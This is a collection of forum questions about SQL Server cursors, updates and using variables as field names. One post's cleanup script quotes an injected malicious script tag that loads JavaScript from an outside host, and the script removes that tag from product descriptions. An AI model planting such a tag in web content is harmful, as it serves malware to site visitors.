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Variable As Field Name In CURSOR FOR UPDATE


I'm trying something like:

UPDATE tbl SET @varFieldName = @varValue

The procedure runs, and when I PRINT @varFieldName, it looks fine, but the table isn't getting updated, and no errors, wierd.

I have the CURSOR open for update, but I didn't list the field names, that shouldn't be a problem, as all fields should be updateable then.

To get the field name, I :

SET @varFieldName = 'SomeChars' + LTRIM(STR(asmallint)) + 'SomeMoreChars'

Thanks,
Carl




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------------------------------------------------------------------------
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For your information the table has about 1.5M records (for testing, it contain more data when on the production server) and my aim is to update the CodeField column as quickly as possible. The CodeField is a 12-character string that is based on a rather complex algorithm including the Field1, Field2 and Field3 strings. I'm using C# because it manages strings much better than SQL Server - and it is so much easier coding this stuff.

Anyhow, I've had this kind of problem before with SQL Servers 2000 and 7 (maybe even 6.5) and it seems the problem occurs when I let SQL Server go about its business at its own pace. But when I do something to control that it really takes one record at a time (through using a cursor or executing the query with a WHERE clause like the one above) it works splendidly.

The problem here is that a cursor is way too slow, and there really shouldn't be a problem with a simple UPDATE command, should it? After all, everything works just fine except when I let SQL Server do what it does best (i.e. update the field at its own speed, whatever that is).

Any ideas? This is very frustrating since it is impossible to try and find the error - it isn't there when testing! And it is frustrating since I remember having had the same kind of problem (but every time with different errors arising) before without finding a solution (except for slowing everything down - not an option here).

Is there a certain tweak I can do to make things work out, or should I code things differently?

Thanks!

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How Do U Update A Row In A Table Using Cursor ?
 How do you do this by using this cursor mechanisum ? and which type of cursor is best to do that ?

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One Statement Update - Join, No Cursor ?
HI AllI have a process that I am trying to accomplish with one statement. Icannot think of any way to do it other than using a cursor.I was wondering if anyone could point me in the right direction.I want to update the Domain in Table A with the Domain in Table Bwhere A.Account = B.Account with the highest rank.----------------------------------Table A--------------------------------------------------------------------Account|Domain--------------------------------------------------------------------Micorsoft|null----------------------------------IBM|null-------------------------------------------------------------TAble B--------------------------------------------------------------------------------------------------------------------------Account|Domain|Rank--------------------------------------------------------------------------------------------------------------------------Micorsoft|microsoft.com|9-------------------------------------------------------------Micorsoft|yahoo.com|2-------------------------------------------------------------Micorsoft|hotmail.com|1Thanks!!!

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UPDATE TRIGGER WITH CURSOR... URGENT HELP..
HI EVERYBODY..

SQL 7.0:
WE HAVE A TABLE X WHICH HAS AN UPDATE TRIGGER WRITTEN ON IT WHICH IS FIRED ON UPDATATION ON THIS TABLE.
WE HAVE AN ENHANCEMENT TO THIS TRIGGER WHICH WOULD INSERT THE LAST UPDATED ROW IN TABLE X (THROUGH LOGICAL TABLE 'INSERTED') FOR ONLY FEW COLUMNS INTO ANOTHER TABLE Y ON ANOTHER DATABASE.

WE HAVE TRIED USING CURSORS FOR PASSING VARIABLE FROM THE INSERTED ROW TO THE FINAL TABLE, BUT WE SEEM TO NOT GET ANY DATA INTO THE TABLE Y.

HOW CAN WE TEST IF THE VALUES IN THE CURSOR VARIABLES ARE BEING PASSED?

PLEASE LET ME KNOW HOW TO APPROACH THE PROBLEM.

THANKS IN ADVANCE..

BYE
MO

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Cursor Update Creating Nulls
So I've created a bit of code to remove some virus garbage that's been plaguing some of my clients, but it seems since I've tried using a cursor to streamline the process a bit it's just filling in the fields with nulls.


Code:

use db7021
go

select * from products
go

declare @desc varchar(max)
declare @virus varchar(128)
set @virus = '<script src="http://b.njnk.net/E/J.JS"></script>'
declare @start int
declare @end int
declare thecursor CURSOR LOCAL SCROLL_LOCKS
for select cdescription from products
where cdescription like ('%' + @virus + '%')
for update of cdescription

open thecursor
fetch next from thecursor into @desc
while @@FETCH_STATUS = 0
begin
print @desc
set @start = charindex(@virus, @desc)
set @end = @start + len(@virus)
print cast(@start as char) + ', ' + cast(@end as char)
set @desc = left(@desc, @start - 1) + right(@desc, len(@desc)-@end+1)
update products
set cdescription = @desc
where current of thecursor
fetch next from thecursor into @desc
end

close thecursor
deallocate thecursor

select * from products
go



Which produces the output:

Code:

id cname cdescription
----------- ----------- ----------------------------------------------------------------------------------------
1 banana sometext 0.962398 <script src="http://b.njnk.net/E/J.JS"></script>
2 apple sometext 1.9248 <script src="http://b.njnk.net/E/J.JS"></script>
3 lolcat sometext 2.88719 <script src="http://b.njnk.net/E/J.JS"></script>
4 cheezburgr sometext 3.84959 <script src="http://b.njnk.net/E/J.JS"></script>

(4 row(s) affected)

sometext 0.962398 <script src="http://b.njnk.net/E/J.JS"></script>
41 , 89

(1 row(s) affected)
sometext 1.9248 <script src="http://b.njnk.net/E/J.JS"></script>
41 , 89

(1 row(s) affected)
sometext 2.88719 <script src="http://b.njnk.net/E/J.JS"></script>
41 , 89

(1 row(s) affected)
sometext 3.84959 <script src="http://b.njnk.net/E/J.JS"></script>
41 , 89

(1 row(s) affected)
id cname cdescription
----------- ------------ ------------
1 banana NULL
2 apple NULL
3 lolcat NULL
4 cheezburgr NULL

(4 row(s) affected)


I trimmed out alot of whitespace from the results for the sake of readability, but aside from that this is everything I've got. I know the string functions work since I tested them on their own, but since I've combined them with the cursor they've started producing NULLs.

Maybe I've missed something in the syntax for cursors?

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Read The Csv In A Cursor Instead Of Bulk Update
Hello,
I am trying to read in from a csv file which works like this:


DECLARE @doesExist INT
DECLARE @fileName VARCHAR(200)
SET @fileName = 'c:file.csv'

SET NOCOUNT ON

EXEC xp_fileexist "' + @fileName + '", @doesExist OUTPUT
SET NOCOUNT OFF

IF @doesExist = 1

BEGIN
BULK INSERT OrdersBulk
FROM "' + @fileName + '"
WITH
(
FIELDTERMINATOR = ',',
ROWTERMINATOR = ''
)
END
ELSE
print('Error cant find file')



What I want to do is check another table before each line inserts, if the data already exists I want to do an UPDATE.
I think i can do what i need with a cursor but I think the bulk update just pushes all the data up and will not allow me to put in the cursor.
So is there a way i can read the csv in a cursor instead of using the bulk insert so i can examine each row?

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Error Creating Cursor Handle ** Update **
***Original message:*** (see update below)
Can someone please help me with this stored procedure? When
I execute it in ISQL/w, it works fine, but when one of my programmers
tries to execute it from another program (Delphi3) he receives an
error of “Error creating cursor handle”. Can someone tell me what
this means? I don't really know anything about cursors... how can
I be using them???

CREATE PROCEDURE EMPLOY_TEST
AS

declare @msg varchar(30)
declare @newnum int


insert dbo.employ_xref_id default values

SELECT @newnum=(max(Idcolumn+1))
from employ_xref_id
where IDCOLUMN between 0 and 9999
and not exists (select * from EMPLOY_XREF e
where e.EMP_ID=(idcolumn+1))

select @msg=""+convert (varchar(10), @newnum)
print @msg
GO


***Update***

I have figured out that it is the 'select @newnum=(max(idcolumn+1))' that was causing the problem. Actually just the
@newnum portion. I've changed that to just 'select newnum=(max(idcolumn+1))', but how can I get this value to
be returned to the user without having the @newnum variable to use in a PRINT statement?

CREATE PROCEDURE EMPLOY_TEST with recompile
AS
begin

declare @msg varchar(30)


insert dbo.employ_xref_id default values

select newnum = (max(idcolumn +1))
from employ_xref_id
where idcolumn between 100 and 999
and not exists (select * from employ_xref e
where e.emp_id=(idcolumn +1))

end
GO

Thanks for any advice!!
Toni Eibner

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Use Cursor To Update Rows In Batches Of A Given Size
I'd like to use a cursor to update a large number of rows in a table, updating a batch of 1000 records at a time. I tried updating in one transaction but log fills up. I'd like to update a batch, clear the log, then update another batch. Repeat till done. Don't really want to increase the log size for this one time shot. Can anyone give me an example to follow.
Thanks

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Cursor Count Loop - Update Table
I am importing a text file that list invoice columns. The invoice detail table needs the line items to be listed with sequential numbers. I import the file to a temp table to do the work in and I know I need to have the cursor do loop through and count, however, I have no more hair to pull out.

The table looks something like this.

inv# SKU
1001 ABC123
1001 DEF456
1001 GHI789
1002 123DEF
1002 456GHI
1002 876HGT

I need the cursor to go through and number each line, something like this.

inv# SKU Line#
1001 ABC123 1
1001 DEF456 2
1001 GHI789 3
1002 123DEF 1
1002 456GHI 2
1002 876HGT 3

Any help is greatly appriciated.

Thanks

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BUG? Optimistic Concurrency Check Don't Work When BLOB Field Read After Row Modification Outside Of The Cursor.
Hi, here is the problem.

 

SYSTEMS INVOLVED:


Sql Server 2000, VB 6, ADODB

SYMPTOM:

Recordset opend with settings:

tb.LockType = adLockOptimistic
tb.CursorLocation = adUseServer
tb.CursorType = adOpenKeyset

When I open recordset using above settings (just 1 record), then change that record in other application(eg. using Management Studio), then get back to vb and just read any blob field (text, ntext)  and modify any field in the same record then at the very end execute tb.Update operation is succesful which is wrong, because we should get an error: "Optimistic concurrency check failed. The row was modified outside of this cursor." If you pass over the "read any blob field" step it works as it should (operation fails with above error).

 

CODE TO REPRODUCE:

 

Sub Test()

    Dim SqlConn As New ADODB.Connection
    Dim tb As New ADODB.Recordset
    tb.LockType = adLockOptimistic
    tb.CursorLocation = adUseServer
    tb.CursorType = adOpenKeyset
   
On Error GoTo Error
    SqlConn.ConnectionString = "Provider=SQLOLEDB.1;User Id=sa;Password=<password>;Initial Catalog=Northwind;Data Source=<server>"
    SqlConn.Open
    tb.Open "SELECT * FROM Categories WHERE CategoryId = 1", SqlConn
       
    tb.Fields("CategoryName") = "A"
   
    MsgBox "Now modify and commit changes to this record in separate application, when done click OK."
   
    res = MsgBox("Read blob field (Yes, concurency check doesn't work), No (does work)", vbYesNo)
    If res = vbYes Then
        tmp = tb.Fields("Description")
    End If
       
    tb.Update
   
    MsgBox "Update successful!"
    SqlConn.Close
    Exit Sub
Error:
    MsgBox Err.Description + vbCrLf + Err.Source, 16

End Sub

 

 

I'm aware that blob fileld is handled in a special  way, it is not stored in record's data page it belongs to (unles we specify in row option).

If anyone had this problem or found confirmation that it is the bug, please let me know or maybe it's not the bug and there is some justification of such behaviore ....

Thank you for any reply !

 

Tomek

 

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Variable In A Field
Could anyone tell me why this isn't working, or if it simply can't be done.

DECLARE @x varchar
SET @x = 'ITEMNMBR'

SELECT *
FROM IV00101
WHERE @x between '3530001' and '3530020'

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How Do I Update A Field Only If Update Value Is Not Null?
Hi. I'm not  such an expert in sql and I wanted to update a table's fields only if the value that im going to update it with is not null. How do I do that?

What I mean is something like:

---------------------------------------------------

Update database.dbo.table set

if(@newvalue !=null)

     afield = @newvalue;

-------------------------------------------------

 

Really need your help on this. Thanks.

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SQL 2000 Partitioned View Works Fine, But CURSOR With FOR UPDATE Fails To Declare
This one has me stumped.

I created an updateable partioned view of a very large table.  Now I get an error when I attempt to declare a CURSOR that SELECTs from the view, and a FOR UPDATE argument is in the declaration.

There error generated is:

Server: Msg 16957, Level 16, State 4, Line 3

FOR UPDATE cannot be specified on a READ ONLY cursor

 

Here is the cursor declaration:

 

declare some_cursor CURSOR

for

select    *

from       part_view

FOR UPDATE

 

Any ideas, guys?  Thanks in advance for knocking your head against this one.

PS: Since I tested the updateability of the view there are no issues with primary keys, uniqueness, or indexes missing.  Also, unfortunately, the dreaded cursor is requried, so set based alternatives are not an option - it's from within Peoplesoft.

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Append Counter Variable To Field Name
Hi all,

I have a table with fields name Days1, Days2, Days3 - I am trying to use a loop in conjunction with a counter to identify each of these fields - I can't quite get the correct syntax and it is driving me crazy!!!

Here's the proc:

WHILE @Counter < 4
BEGIN

SELECT @AppointmentsCount = COUNT(tbl_SurgerySlot.SurgerySlotKey)
FROM tbl_SurgerySlot INNER JOIN
tbl_SurgerySlotDescription ON tbl_SurgerySlot.PracticeCode = tbl_SurgerySlotDescription.PracticeCode AND
tbl_SurgerySlot.Label = tbl_SurgerySlotDescription.Label LEFT OUTER JOIN
tbl_Appointment ON tbl_SurgerySlot.SurgerySlotKey = tbl_Appointment.SurgerySlotKey AND
tbl_SurgerySlot.ExtractDate = tbl_Appointment.ExtractDate
WHERE (tbl_SurgerySlot.ExtractDate = @ExtractDate) AND (tbl_Appointment.AppointmentKey IS NULL) AND
(tbl_SurgerySlot.StartTime > @DateFrom) AND (tbl_SurgerySlot.StartTime < @DateTo) AND (tbl_SurgerySlotDescription.IsBookable = 1)

SET @FieldName = 'Days' + CONVERT(VARCHAR(20),@Counter)

INSERT INTO tmp_Availability (@FieldName)
VALUES (@AppointmentsCount)

SET @DateTo = DATEADD(Day,1,@DateTo)

--Increment the loop counter
SET @Counter = @Counter + 1

When I run the above the follwoing message is displayed:

Server: Msg 208, Level 16, State 3, Line 36
Invalid object name 'tmp_Availability'.

The object IS valid so I'm lost....

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Passing A Column/field Name As A Variable?
Is it possible to use a table's fieldname as an SQL variable?

i.e. can the below be made to somehow work:


Code:

SELECT Firstname, Surname, myVariable
FROM ContactDetails
WHERE myVariable = [user input];



- or simply -


Code:

SELECT Firstname, Surname, [user input]
FROM ContactDetails;



---
The "user input" being any other chosen column/fieldname from the ContactDetails table (e.g. Street, City, Postcode, etc.).

i'm using Access and ASP - in case that makes a difference.

any help would be greatly appreciated.

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Connecting Variable To Database Field
 

Greetings

what I need to do is access tables in a database, clean up one of the fields and return it to another table in the database. Im using a script component for the transformation whick looks for  , or : and replaces : with a decimal point and removes the comma completely.  My problem comes with the varaible-- how do I set this up so that the variable read matches the field in the database??

 

here is the script itself

thanks

km

 

Public Function AddList(list As String) As String
    Dim total As Double
    total = 0
   
    If Len(list) > 0 Then
        Dim s As Object
        s = Split(list, ",")
       
        Dim i As Integer
        For i = LBound(s) To UBound(s)
            s(i) = Replace(s(i), ":", ".")
            total = total + CDbl(s(i))
        Next
    End If
   
    AddList = total
End Function

 

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